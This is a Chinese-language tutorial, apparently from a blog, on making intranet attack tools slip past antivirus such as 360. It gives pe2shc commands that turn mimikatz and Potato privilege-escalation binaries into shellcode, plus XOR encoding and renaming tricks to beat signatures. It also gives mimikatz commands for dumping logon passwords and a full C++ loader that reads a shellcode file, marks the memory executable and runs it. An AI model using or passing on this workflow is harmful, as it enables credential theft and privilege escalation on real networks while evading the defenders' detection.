内网工具对抗
首先,你需要分析:
1、安全工具是否有源代码
2、安全工具源代码逻辑复杂程度
3、当前源代码你是否有能力修改
其次,你需要考虑:
1、无源码或无能力修改
2、各种异常bug打包问题
3、修改打包后效果也不太好
故:
1、非源码修改方式:
转换SC利用同C2的加载上线模式进行对抗(难度小速度快但效果不一)
2、源码修改方式:
魔改源码打乱特征的方法重新定义工具项目(难度大但修改好后效果稳)
操作方法,其实大概流程和免杀shellcode差不多,都是一个思路
1、将exe转shellcode2、找分离加载器代码3、分离基础上加混淆4、自签名详细信息熵
mimkatz
下载猕猴桃(下边猕猴桃都是指mimkatz)
下载exe以及源代码
源码修改方式
加载源代码,这里就不改了,sdk不知道为什么加载不出来
非源码修改方式
将猕猴桃改为.bin文件
pe2shc.exe mimikatz.exe mimikatz.bin
使用runshc64.exe是可以正常运行的,但是这个mimikatz.bin还是被杀。这里可以采用和之前一样的shellcode载入进行使用。
runshc64.exe mimikatz.bin
将mimikatz.bin进行异或0x55,进行保存
新建mimikatz项目,将项目之前的清单那些关闭。
代码重新生成
将之前的mimikatz.bin重命名为猕猴桃.bin,生成的exeu也换成猕猴桃.exe,经过测试mimikatz
这个名字会直接报毒。
换好后直接测试。
放到360报qvm202,换东西即可,之前提到过。
减少熵值
增加图标签名
代码做了动态api修改
#获取权限
privilege::debug#抓取密码
sekurlsa::logonpasswords
在执行sekurlsa::logonpasswords
是有可能被360抓取到的,这个就涉及到源码修改绕过。
提权脚本
常规土豆家族提权exe对于杀毒直接就是查杀的状态,这里和上边的一样的操作即可。(有部分无法使用)
pe2shc.exe F:\shellcodeTest\工具免杀\土豆系列EXE\CandyPotato.exe CandyPotato.bin
这里不用异或,直接做一个加载器上线即可。
360报qvm202按照上面的解决方法即可
但是换一个思路,加载器加载.bin文件直接执行,不写一个文件,用户自定义上传。
#include <windows.h>
#include <stdint.h>
#include <cstdio>typedef BOOL(WINAPI* pVirtualProtect)(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect);
pVirtualProtect VProtect = (pVirtualProtect)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualProtect");typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
pVirtualAlloc VAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAlloc");unsigned char* inputFile(const char* filename, int& len) {FILE* fp = NULL;int err = fopen_s(&fp, filename, "rb");if (err != 0 || !fp) {exit(-1);}fseek(fp, 0, SEEK_END);len = ftell(fp);rewind(fp);unsigned char* lpAddress = (unsigned char*)malloc(len);fread(lpAddress, 1, len, fp);fclose(fp);return lpAddress;
}int main(int argc, char* argv[])
{if (argc < 2) {printf("Usage: %s <filename>\n", argv[0]);return -1;}const char* filename = argv[1];void* runtime;BOOL retval;DWORD old_protect = 0;unsigned char* payload;int payload_len;payload = inputFile(filename, payload_len);runtime = VAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);RtlMoveMemory(runtime, payload, payload_len);retval = VProtect(runtime, payload_len, PAGE_EXECUTE_READWRITE, &old_protect);if (retval != 0){int (*func)();func = (int (*)())runtime;func();}VirtualFree(runtime, payload_len, MEM_RELEASE);return 0;
}
pe2shc.exe JuicyPotatoNG.exe JuicyPotatoNG.bin
失败的